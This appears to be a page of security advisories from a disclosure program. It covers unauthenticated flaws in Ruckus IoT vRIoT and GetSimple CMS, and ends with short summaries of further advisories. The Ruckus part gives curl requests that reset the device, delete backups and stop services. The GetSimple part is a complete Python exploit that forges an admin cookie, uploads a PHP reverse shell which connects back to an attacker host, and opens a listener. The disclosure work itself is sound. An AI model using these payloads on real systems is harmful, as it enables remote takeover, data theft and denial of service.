SSD Advisory – Ruckus IoT vRIoT Server Vulnerabilities

Vulnerability Summary
The Ruckus IoT Suite is a collection of network hardware and software infrastructure used to enable multi-standard Internet of Things devices access the network. The IoT Controller, part of the IoT Suite, is a virtual controller that performs connectivity, device and security management for non Wi-Fi devices.
Many functionalities are exposed by the IoT Controller which naturally require a form of authentication. Authentication is present in the Controller in the form of a login mechanism, but there are many functions which ignore the authentication of a user and allow unauthorized users to issue different commands, resulting in potential security breaches.

CVE
CVE-2020-8005

Credit
An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems
Ruckus IoT vRIoT Version 1.4

Vendor Response
Placeholder

Vulnerability Details
There are multiple unprotected functions in the Controller portal of the Ruckus IoT server. Many functions, such as changing the admin password, are protected by authentication and return a 401 Unauthorized when called without supplying an authentication header or cookie, proving one is an authorized user of the system. But there are many other functions which aren’t protected and a remote unauthenticated user can use them to gain privileged access and disable privileged processes or access sensitive data. Many exploitable bugs were found, which include:

  1. Remote pre-auth configuration manipulation
  2. Full access to backups including restoration, retrieval and deletion of backups.
  3. Downgrading and upgrading firmware versions
  4. Control of system services
  5. Remote factory reset of the server

There are 3 other unprotected functions which yield unclear security impact and were not investigated further, but are nevertheless included.

Reproduction
Remote Configuration Change
The service located at /service/init is responsible for configuration management. When sending it an HTTP PATCH request, the supplied JSON formatted configuration will be interpreted and saved. This allows the configuration of different important settings such as DNS servers.

curl -i -s -k -X 'PATCH'                                                                        \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5'                                           \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 267'                                                                        \
-H 'Connection: close'                                                                          \
--data-binary '{"configurations":{"hostname":"vriot1","dns":"8.8.8.8","timezone":"America/Los_Angeles","ipv4_mode_radio":"1","ip-address":"iot-server","dns2":"8.8.4.4","gateway":"10.10.10.1","subnet-mask":"255.255.255.0","systemtime":["1",null,"ntp.ubuntu.com"],"key":"","cert":""}}' \
'https://iot-server/service/init'

The device needs to reboot it’s services, which should all happen automatically as part of it’s routine, and only then the change will take effect.


Manipulation of Arbitrary Backups
The backup manipulation service, which is located at /service/v1/db, allows for three operations: loading, downloading and deletion of backup files.
Loading backups:
When sending an HTTP POST request to /service/v1/db/restore the server will restore the backups file requested in the request body. This name can be either known beforehand or bruteforced, as the filename follows a specific pattern.

curl -i -s -k -X 'POST'                                                                         \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 54'                                                                         \
-H 'Connection: close'                                                                          \
--data-binary '{"fileName":"VRIOT_DB_2019-09-27-00-48-59_GMT.tar.gz"}'                          \
'https://iot-server/service/v1/db/restore'

Device will reboot to restore the arbitrarily chosen backup
Downloading backups:
Sending an HTTP GET to /service/v1/db/backup with filename as a parameter will yield you the requested backup file. This name can either be known beforehand or brute forced easily.

curl -i -s -k -X 'GET'                                                                          \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Connection: close'                                                                          \
'https://iot-server/service/v1/db/backup?fileName=VRIOT_DB_2019-09-27-00-48-59_GMT.tar.gz'
HTTP/1.1 200 OK
...
{"message": {"ok": 1, "file_path": "/static/dbbackup/VRIOT_DB_2019-09-27-00-48-59_GMT.tar.gz"}}
wget https://iot-server/static/dbbackup/VRIOT_DB_2019-09-27-00-48-59_GMT.tar.gz

Deleting backups:
Sending an HTTP DELETE request to /service/v1/db/backup will enable the deletion of backup files. The filename of the backup is supplied through the parameter.

curl -i -s -k -X 'DELETE'                                                                       \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 54'                                                                         \
-H 'Connection: close'                                                                          \
--data-binary '{"fileName":"VRIOT_DB_2019-09-27-03-53-40_GMT.tar.gz"}'                          \
'https://iot-server/service/v1/db/backup'

Firmware Version Manipulation
The service located in /service/upgrade/flow allows changing the firmware of the device. This allows downgrade attacks, where a potential attacker may change the firmware to a vulnerable one.

curl -i -s -k  -X 'POST'                                                                        \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 24'                                                                         \
-H 'Connection: close'                                                                          \
--data-binary '{"version":"1.4.0.0.17"}'                                                        \
'https://iot-server/service/upgrade/flow'

The device will reboot if the supplied firmware version exists.


Service Manipulation
The service located at /module/ allows for three operations: stop, start and restart. The operation can be appended URL, and the name of the process is specified using the parameter. The name of the process can be retrieved through a terminal of a machine running the operating system, like a virtual machine.

curl -i -s -k  -X 'POST'                                                                        \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 23'                                                                         \
-H 'Connection: close'                                                                          \
--data-binary '{"process":"core:mqtt"}'                                                         \
'https://iot-server/module/stop'

Remote Factory Reset
The service running at /reset enable issuing a factory reset of the machine. This deletes all configurations and information stored on the machine. This functionality enables an attacker to create a Denial of Service attack.

curl -i -s -k  -X 'POST'                                                                        \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Connection: close'                                                                          \
-H 'Content-Length: 0'                                                                          \
'https://iot-server/reset'

Additional Bugs (unknown impacts)

  • Upload new images
    curl -i -s -k  -X 'POST'                                                                        \
    -H 'Host: iot-server'                                                                           \
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
    -H 'Accept: */*'                                                                                \
    -H 'Accept-Language: en-US,en;q=0.5'                                                            \
    -H 'Accept-Encoding: gzip, deflate'                                                             \
    -H 'Referer: https://iot-server/refUI/'                                                         \
    -H 'X-Requested-With: XMLHttpRequest'                                                           \
    -H 'Content-Length: 178'                                                                        \
    -H 'Content-Type: multipart/form-data; boundary=---------------------------237911457221800'     \
    -H 'Connection: close'                                                                          \
    --data-binary "-----------------------------237911457221800\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"test.image\"\x0d\x0a\x0d\x0acontent here\x0d\x0a-----------------------------237911457221800--\x0d\x0a"    \
    'https://iot-server/upgrade/upload'
    
  • Upload patches
    curl -i -s -k  -X 'POST'                                                                        \
    -H 'Host: iot-server'                                                                           \
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
    -H 'Accept: */*'                                                                                \
    -H 'Accept-Language: en-US,en;q=0.5'                                                            \
    -H 'Accept-Encoding: gzip, deflate'                                                             \
    -H 'Referer: https://iot-server/refUI/'                                                         \
    -H 'X-Requested-With: XMLHttpRequest'                                                           \
    -H 'Content-Length: 178'                                                                        \
    -H 'Content-Type: multipart/form-data; boundary=---------------------------237911457221800'     \
    -H 'Connection: close'                                                                          \
    --data-binary "-----------------------------237911457221800\x0d\x0aContent-Disposition: form-data; name="\file\"; filename=\"test.patch\"\x0d\x0a\x0d\x0acontent here\x0d\x0a-----------------------------237911457221800--\x0d\x0a"    \
    'https://iot-server/patch/upload'
    
  • Diagnostic Data (The generate diagnostic data button is protected and must already have been generated by an admin prior)
    curl -i -s -k  -X 'GET'                                                                         \
    -H 'Host: iot-server'                                                                           \
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
    -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'                    \
    -H 'Accept-Language: en-US,en;q=0.5'                                                            \
    -H 'Accept-Encoding: gzip, deflate'                                                             \
    -H 'Referer: https://iot-server/refUI/'                                                         \
    -H 'Connection: close'                                                                          \
    -H 'Upgrade-Insecure-Requests: 1'                                                               \
    'https://iot-server/static/diagnostic/diagnostic_2019-09-26-20-43-42.tar.gz'
    

SSD Advisory – GetSimple CMS Unauthenticated Remote Code Execution

Vulnerabilities Summary
The following advisory describes a vulnerability in GetSimple CMS which allows unauthenticated attackers to perform Remote Code Execution.
CVE
CVE-2019-11231
Credit
An independent Security Researcher, truerand0m, has reported this vulnerability to SSD Secure Disclosure program.
Affected systems
GetSimple CMS version 3.3.15 (Latest at the time of writing this post) and before.
Vendor Response
We have notified the vendor on the 21/1/2019 and sent few reminder emails but got no response from the vendor.
Vulnerability Details
An insufficient input sanitation is in the theme-edit.php file allows to upload files with arbitrary content (PHPcode for example). This vulnerability can be triggered by an authenticated user, however authentication can be bypassed.
According to the official installation documentation, specially, step 10, an admin is required to upload all the files, including the .htaccess files and run a health check.

However, what is overlooked is that Apache by default does not enable “allowoverride” directive anymore so we can expose passwords:
http://localhost/GetSimpleCMS-3.3.15/data/users/admin.xml

<item>
  <USR>admin</USR>
  <NAME>zo</NAME>
  <PWD>a94a8fe5ccb19ba61c4c0873d391e987982fbbd3</PWD>
  <EMAIL>pwning@zo</EMAIL>
  <HTMLEDITOR>1</HTMLEDITOR>
  <TIMEZONE/>
  <LANG>en_US</LANG>
</item>

The problem is that the passwords are hashed so we need a way to bypass this issue. We can access the API key in:
http://localhost/GetSimpleCMS-3.3.15/data/other/authorization.xml

<item>
  <apikey>44769f621e9b7db1bb19adbdf659b015</apikey>
</item>

What this allows us to do is target the session state, since they decided to roll their own implementation. Inside of admin/inc/configuration.php we see the following code:

$site_full_name     = 'GetSimple';
$site_version_no    = '3.3.15';
$name_url_clean     = lowercase(str_replace(' ','-',$site_full_name));
$ver_no_clean       = str_replace('.','',$site_version_no);
$site_link_back_url = 'http://get-simple.info/';
// cookie config
$cookie_name = lowercase($name_url_clean) .'_cookie_'. $ver_no_clean; // non-hashed name of cookie

The cookie_name is crafted information that can be leaked from the frontend (site name and version). Then, later in admin/inc/cookie_functions.php we can see the following code:

/**
 * Check Login Cookie
 *
 * @since 1.0
 * @uses $cookie_login
 * @uses cookie_check
 * @uses redirect
 */
function login_cookie_check() {
    global $cookie_login;
    if(cookie_check()) {
        create_cookie();
    } else {
        $qstring = filter_queryString(array('id'));
        $redirect_url = $cookie_login.'?redirect='.myself(FALSE).'?'.$qstring;
        redirect($redirect_url);
    }
}
function cookie_check() {
    global $USR,$SALT,$cookie_name;
    $saltUSR = $USR.$SALT;
    $saltCOOKIE = sha1($cookie_name.$SALT);
    if(isset($_COOKIE[$saltCOOKIE])&&$_COOKIE[$saltCOOKIE]==sha1($saltUSR)) {
        return TRUE; // Cookie proves logged in status.
    } else {
        return FALSE;
    }
}
/**
 * Create Cookie
 *
 * @since 1.0
 * @uses $USR
 * @uses $SALT
 * @uses $cookie_time
 * @uses $cookie_name
 */
function create_cookie() {
  global $USR,$SALT,$cookie_time,$cookie_name;
  $saltUSR    = sha1($USR.$SALT);
  $saltCOOKIE = sha1($cookie_name.$SALT);
  gs_setcookie('GS_ADMIN_USERNAME', $USR);
  gs_setcookie($saltCOOKIE, $saltUSR);
}
/**
 * set a gs cookie
 * @since  3.3.5
 * @param  str $id    cookie id
 * @param  str $value value of cookie
 * @return bool       true if headers not sent
 */
function gs_setcookie($id,$value){
    GLOBAL $cookie_time, $cookie_path, $cookie_domain, $cookie_secure, $cookie_httponly;
    $expire = time() + $cookie_time;
    // debugLog('set cookie: '.implode(',',array($id, $value, $cookie_time, $cookie_path, $cookie_domain, $cookie_secure, $cookie_httponly)));
    return setcookie($id, $value, $expire, $cookie_path, $cookie_domain, $cookie_secure, $cookie_httponly);
}
/**
 * Unset a gs cookie
 * @since  3.3.5
 * @param  str $id id of cookie
 * @return bool       true if headers not sent
 */
function gs_unsetcookie($id){
    GLOBAL $cookie_time, $cookie_path, $cookie_domain, $cookie_secure, $cookie_httponly;
    // debugLog('unset cookie: '.implode(',',array($id, false, $cookie_time, $cookie_path, $cookie_domain, $cookie_secure, $cookie_httponly)));
    return setcookie($id,false,1,$cookie_path,$cookie_domain,$cookie_secure, $cookie_httponly);
}

If someone leaks the API key (44769f621e9b7db1bb19adbdf659b015) and the admin username (admin) then they can bypass authentication. To do so, they need to supply a cookie that is set to:
sha1(getsimple_cookie_3315 + 44769f621e9b7db1bb19adbdf659b015) = sha1(admin + 44769f621e9b7db1bb19adbdf659b015)
Cookie: GS_ADMIN_USERNAME {username};sha1(getsimple_cookie_{cmsversion}{salt})=sha1({username}{salt});
The vulnerability exists in the admin/theme-edit.php file. This file checks for forms submissions via POST request and for the CSRF nonce passed. If the nonce sent is correct then the file provided by the user is uploaded.

if((isset($_POST['submitsave']))){
    # check for csrf
    if (!defined('GSNOCSRF') || (GSNOCSRF == FALSE) ) {
        $nonce = $_POST['nonce'];
        if(!check_nonce($nonce,"save")){ die("CSRF detected!"); }
    }
    # save edited template file
    $SavedFile = $_POST['edited_file'];
    $FileContents=get_magic_quotes_gpc()?stripslashes($_POST['content']):$_POST['content'];
    # [1]
    $fh = fopen(GSTHEMESPATH . $SavedFile, 'w') or die("can't open file");
    fwrite($fh, $FileContents);
    fclose($fh);
    $success = sprintf(i18n_r('TEMPLATE_FILE'), $SavedFile);
}

The vulnerability is a path traversal allowing to write outside the jailed themes directory root. However, we don’t even need it due to the .htaccess assumption, we can write into the same directory to gain a shell.
The other issue here is that there isn’t another check on the extension before saving the file. The file is being saved with the assumption that the parameter `content` is safe. This allows the creation of web accessible and executable files with arbitrary content.
Exploit

import re
import sys
import socket
import hashlib
import requests
import telnetlib
from threading import Thread
from xml.etree import ElementTree
class gscms_pwner:
    def __init__(self, target, path, username, cb_host, cb_port):
        self.target  = target
        self.path    = path
        self.un      = username
        self.cb_host = cb_host
        self.cb_port = cb_port
        self.version = None
        self.apikey  = None
    def set_headers(self):
        self.h = {
            'Content-Type':'application/x-www-form-urlencoded',
            'Cookie': self.cookies
        }
    def set_cookies(self):
        self.cookies = "GS_ADMIN_USERNAME=%s;%s=%s" % (self.un, self.get_cookie_name(), self.get_cookie_value())
        self.set_headers()
    def get_cookie_name(self):
        cn = "getsimple_cookie_%s%s" % (self.version.replace(".", ""), self.apikey)
        sha1 = hashlib.sha1()
        sha1.update(cn)
        return sha1.hexdigest()
    def get_cookie_value(self):
        cv = "%s%s" % (self.un, self.apikey)
        sha1 = hashlib.sha1()
        sha1.update(cv)
        return sha1.hexdigest()
    def get_version(self):
        print "(+) fingerprinting the targets version"
        r = requests.get("http://%s%sadmin/index.php" % (self.target, self.path))
        match = re.search("jquery.getsimple.js\?v=(.*)\"", r.text)
        if match:
            self.version = match.group(1)
            print "(+) found version: %s" % self.version
            return True
        return False
    def check_htaccess(self):
        print "(+) checking .htaccess exposure..."
        r = requests.get("http://%s%sdata/other/authorization.xml" % (self.target, self.path))
        if r.ok:
            tree = ElementTree.fromstring(r.content)
            self.apikey = tree[0].text
            print "(+) leaked key: %s" % self.apikey
            return True
        return False
    def check_username_disclosure(self):
        print "(+) no username provided, attempting username leak..."
        r = requests.get("http://%s%sdata/users/" % (self.target, self.path))
        match = re.search("href=\"(.*).xml\"", r.text)
        if match:
            self.un = match.group(1)
            print "(+) found username: %s" % self.un
            return True
        return False
    def get_nonce(self):
        r = requests.get("http://%s%sadmin/theme-edit.php" % (self.target, self.path), headers=self.h)
        m = re.search('nonce" type="hidden" value="(.*)"', r.text)
        if m:
            print("(+) obtained csrf nonce: %s" % m.group(1))
            return m.group(1)
        return None
    def upload(self, fname, content):
            n = self.get_nonce()
            if n != None:
                try:
                    p = {
                        'submitsave': 2,
                        'edited_file': fname,
                        'content': content,
                        'nonce': n
                    }
                    r = requests.post("http://%s%sadmin/theme-edit.php" % (self.target, self.path), headers=self.h, data=p)
                    if 'CSRF detected!' not in r.text:
                        print('(+) shell uploaded to http://%s%stheme/%s' % (self.target, self.path, fname))
                        return True
                    else: print("(-) couldn't upload shell %s " % fname)
                except Exception as e:
                    print(e)
            return False
    # build the reverse php shell
    def build_php_code(self):
        phpkode  = ("""
        @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);""")
        phpkode += ("""$dis=@ini_get('disable_functions');""")
        phpkode += ("""if(!empty($dis)){$dis=preg_replace('/[, ]+/', ',', $dis);$dis=explode(',', $dis);""")
        phpkode += ("""$dis=array_map('trim', $dis);}else{$dis=array();} """)
        phpkode += ("""if(!function_exists('LcNIcoB')){function LcNIcoB($c){ """)
        phpkode += ("""global $dis;if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {$c=$c." 2>&1\\n";} """)
        phpkode += ("""$imARhD='is_callable';$kqqI='in_array';""")
        phpkode += ("""if($imARhD('popen')and!$kqqI('popen',$dis)){$fp=popen($c,'r');""")
        phpkode += ("""$o=NULL;if(is_resource($fp)){while(!feof($fp)){ """)
        phpkode += ("""$o.=fread($fp,1024);}}@pclose($fp);}else""")
        phpkode += ("""if($imARhD('proc_open')and!$kqqI('proc_open',$dis)){ """)
        phpkode += ("""$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); """)
        phpkode += ("""$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} """)
        phpkode += ("""@proc_close($handle);}else if($imARhD('system')and!$kqqI('system',$dis)){ """)
        phpkode += ("""ob_start();system($c);$o=ob_get_contents();ob_end_clean(); """)
        phpkode += ("""}else if($imARhD('passthru')and!$kqqI('passthru',$dis)){ob_start();passthru($c); """)
        phpkode += ("""$o=ob_get_contents();ob_end_clean(); """)
        phpkode += ("""}else if($imARhD('shell_exec')and!$kqqI('shell_exec',$dis)){ """)
        phpkode += ("""$o=shell_exec($c);}else if($imARhD('exec')and!$kqqI('exec',$dis)){ """)
        phpkode += ("""$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}} """)
        phpkode += ("""$nofuncs='no exec functions'; """)
        phpkode += ("""if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ """)
        phpkode += ("""$s=@fsockopen('tcp://%s','%d');while($c=fread($s,2048)){$out = ''; """ % (self.cb_host, self.cb_port))
        phpkode += ("""if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
        phpkode += ("""}elseif (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit'){break;}else{ """)
        phpkode += ("""$out=LcNIcoB(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs); """)
        phpkode += ("""break;}}fwrite($s,$out);}fclose($s);}else{ """)
        phpkode += ("""$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,'%s','%d'); """ % (self.cb_host, self.cb_port))
        phpkode += ("""@socket_write($s,"socket_create");while($c=@socket_read($s,2048)){ """)
        phpkode += ("""$out = '';if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
        phpkode += ("""} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { """)
        phpkode += ("""break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){ """)
        phpkode += ("""@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out)); """)
        phpkode += ("""}@socket_close($s);} """)
        return phpkode
    def handler(self):
        print "(+) starting handler on port %d" % self.cb_port
        t = telnetlib.Telnet()
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0", self.cb_port))
        s.listen(1)
        conn, addr = s.accept()
        print "(+) connection from %s" % addr[0]
        t.sock = conn
        print "(+) pop thy shell!"
        t.interact()
    def exec_code(self):
        handlerthr = Thread(target=self.handler)
        handlerthr.start()
        requests.get("http://%s/%s/theme/poc.php" % (self.target, self.path))
    def exploit(self):
        print "(+) targeting: http://%s%s" % (self.target, self.path)
        if self.get_version():
            if self.check_htaccess():
                if self.un == None:
                    # requires directory listing
                    self.check_username_disclosure()
                self.set_cookies()
                self.upload('poc.php', "<?php %s" % self.build_php_code())
                print "(+) triggering connectback to: %s:%d" % (self.cb_host, self.cb_port)
                self.exec_code()
        else:
            print "(-) invalid target uri!"
            sys.exit(-1)
def main():
    if len(sys.argv) < 4:
        print "(+) usage: %s <target> <path> <connectback:port> [username]" % sys.argv[0]
        print "(+) eg: %s 172.16.175.156 /" % sys.argv[0]
        print "(+) eg: %s 172.16.175.156 /GetSimpleCMS-3.3.15/ 172.16.175.1:909" % sys.argv[0]
        print "(+) eg: %s 172.16.175.156 /GetSimpleCMS-3.3.15/ 172.16.175.1:909 admin" % sys.argv[0]
        sys.exit(1)
    t = sys.argv[1]
    p = sys.argv[2]
    if not p.endswith("/"):
        p += "/"
    if not p.startswith("/"):
        p = "/%s" % p
    if ":" not in sys.argv[3]:
        cb_port = 4444
        cb_host = sys.argv[3]
    else:
        cb_port = sys.argv[3].split(":")[1]
        cb_host = sys.argv[3].split(":")[0]
        if not cb_port.isdigit():
            cb_port = 4444
        else:
            cb_port = int(cb_port)
    u = None
    if len(sys.argv) == 5:
        u = sys.argv[4]
    gp = gscms_pwner(t, p, u, cb_host, cb_port)
    gp.exploit()
if __name__ == '__main__':
    main()

SSD Advisory – Cisco Prime Infrastructure File Inclusion and Remote Command Execution to Privileges Escalation

Vulnerabilities Summary
Cisco Prime Infrastructure (CPI) contains two vulnerabilities that when exploited allow an unauthenticated attacker to achieve root privileges and execute code remotely. The first vulnerability is a file upload vulnerability that allows the attacker to upload and execute JSP files as the Apache Tomcat user. The second vulnerability is a privilege escalation to root by bypassing execution restrictions in a SUID binary.
Vendor Response
Cisco has issued an advisory, https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181003-pi-tftp, which provides a workaround and a fix for the vulnerability. From our assessment the provided fix only addresses the file uploading part of the exploit, not the file inclusion, the ability to execute arbitrary code through it or the privileges escalation issue that the product has.
CVE
CVE-2018-15379
Credit
An independent security researcher, Pedro Ribeiro, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
(more…)

SSD Advisory – CloudByte ElastiStor OS Unauthenticated Remote Code Execution

Vulnerabilities Summary
The following advisory describes two vulnerabilities found in ElastiCenter,
ElastiStor’s management console, File Injection that leads to unauthenticated remote code execution.
ElastiCenter is the centralized management tool that you use to configure, monitor, manage, and deploy the services provided by CloudByte ElastiStor.
ElastiCenter lets you:

  • Use the Graphical User Interface to manage the storage environment
  • Generate statistical and configuration reports to help troubleshoot
  • Delegate administration tasks
  • Track events
  • Globally control various settings

CVE
CVE-2018-15675
Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
(more…)

SSD Advisory – QRadar Remote Command Execution

Vulnerability Summary
Multiple vulnerabilities in QRadar allow a remote unauthenticated attackers to cause the product to execute arbitrary commands. Each vulnerability on its own is not as strong as their chaining – which allows a user to change from unauthenticated to authenticated access, to running commands, and finally running these commands with root privileges.
Vendor Response
“You reported this vulnerability to IBM on January 25th, and we notified you on April 27th that the vulnerability had been fixed. Here is the link to our public notice and the independent researcher that reported it to you was acknowledged: http://www.ibm.com/support/docview.wss?uid=swg22015797. We thank you for your efforts in reporting these issues to us, and for delaying your disclosures until IBM published a fix.
For your awareness the third vulnerability you reported with regards to privilege escalation to root had been fixed in patches a few weeks prior to the initial report. This is the bulletin for that particular CVE: http://www.ibm.com/support/docview.wss?uid=swg22012293.
After concerns regarding the scoring of the other vulnerabilities were brought to our attention, the scoring has been reviewed and some corrections made. The reported issue has been separated into separate CVEs: a new one for the authentication bypass CVE-2018-1612; and the existing one for the command injection as an unprivileged user CVE-2018-1418. The updated descriptions and scoring for these CVEs is as follows:
CVE-2018-1612 IBM QRadar Incident Forensics could allow a remote attacker to bypass authentication and obtain sensitive information
CVSS Base: 5.8
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
CVE-2018-1418 IBM QRadar Incident Forensics could allow an authenticated attacker to execute commands as ‘nobody’.
CVSS Base: 7.4
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L
The issue in the initial scoring occurred due to a miscommunication in our process and we are working to improve our process going forward. We apologize for the problematic scoring in our initial disclosure. Also while the fix for the authentication CVE-2018-1612 was included in 7.2.8 Patch 11 we discovered an issue with 7.3.1 Patch 2 and are issuing an iFix as outlined here www.ibm.com/support/docview.wss?uid=swg22017062. The command injection issue is fixed in 7.3.1 Patch 2 as previously published.”
CVE
CVE-2018-1418
(NOTE while only a single CVE was issued three vulnerabilities were patched by the vendor)
Credit
An independent security researcher, Pedro Ribeiro, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
(more…)

SSD Advisory – TrustPort Management Unauthenticated Remote Code Execution

Vulnerability Summary
Multiple vulnerabilities in TrustPort’s management product allow remote unauthenticated attackers to cause the product to execute arbitrary code.
TrustPort Management “offers you an effective and practical way to install centrally, configure and update antivirus software in your network and it enables mass administration of TrustPort products. Central administration from TrustPort brings you simple application of corporate security policies, monitoring of security incidents or the remote starting of tasks”.
Vendor Response
The vulnerability was reported to the vendor on March 6th, the following response was received on the 6th of March:
“thanks for information. We are going to correct the errors in following version of the SW.”
No further response was received, though 3 more emails were sent by us to the company between the March 6th and the date of publication. We have no idea of how to resolve this bug, the only workaround is to not expose the administrative port to untrusted networks.
Credit
An independent security researcher, Ahmed Y. Elmogy, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
(more…)

SSD Advisory – TerraMaster TOS Unauthenticated Remote Command Execution

Vulnerability Summary
The following advisory describes a unauthenticated remote command execution found in TerraMaster TOS 3.0.33.
TOS is a “Linux platform-based operating system developed for TerraMaster cloud storage NAS server. TOS 3 is the third generation operating system newly launched.”
Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor response
The vendor stated that version 3.1.03 of TerraMaster TOS is no longer vulnerable to this vulnerability, the latest version of the software can be obtained from: http://download.terra-master.com/download.php.
(more…)

SSD Advisory – Vigor ACS Unsafe Flex AMF Java Object Deserialization

Vulnerability Summary
A vulnerability in Vigor ACS allows unauthenticated users to cause the product to execute arbitrary code.
VigorACS 2 “is a powerful centralized management software for Vigor Routers and VigorAPs, it is an integrated solution for configuring, monitoring, and maintenance of multiple Vigor devices from a single portal. VigorACS 2 is based on TR-069 standard, which is an application layer protocol that provides the secure communication between the server and CPEs, and allows Network Administrator to manage all the Vigor devices (CPEs) from anywhere on the Internet. VigorACS 2 Central Management is suitable for the enterprise customers with a large scale of DrayTek routers and APs, or the System Integrator who need to provide a real-time service for their customer’s DrayTek devices.”
Credit
An independent security researcher, Pedro Ribeiro, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor Response
“We’ll release the new version 2.2.2 to resolve this problem and inform the user about the CVE ID and reporter.
The release note will be updated on Wednesday (Apr 4, 2018).
Kindly let me know if you have further question, thank you!”
(more…)

SSD Advisory – AppWeb Authentication Bypass (Digest, and Basic)

Vulnerability Summary
A critical vulnerability in the EmbedThis HTTP library, and Appweb versions 5.5.x, 6.x, and 7.x including the latest version present in the git repository.
In detail, due to a logic flaw, with a forged HTTP request it is possible to bypass the authentication for HTTP basic and HTTP digest login types.
Confirmed Vulnerable
Appweb version 7.0.2 and prior
Credit
An independent security researcher, Davide Quarta (@_ocean) and Truel IT, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor Response
Vendor response was exceptionally quick, within 2 days from reporting the vulnerability to them they had a patch available and new version Appweb version 7.0.3 and information available to the public: https://github.com/embedthis/appweb/issues/610
CVE
CVE-2018-8715
(more…)

SSD Advisory – VK Messenger (VKontakte) vk:// URI Handler Commands Execution

Vulnerability Summary
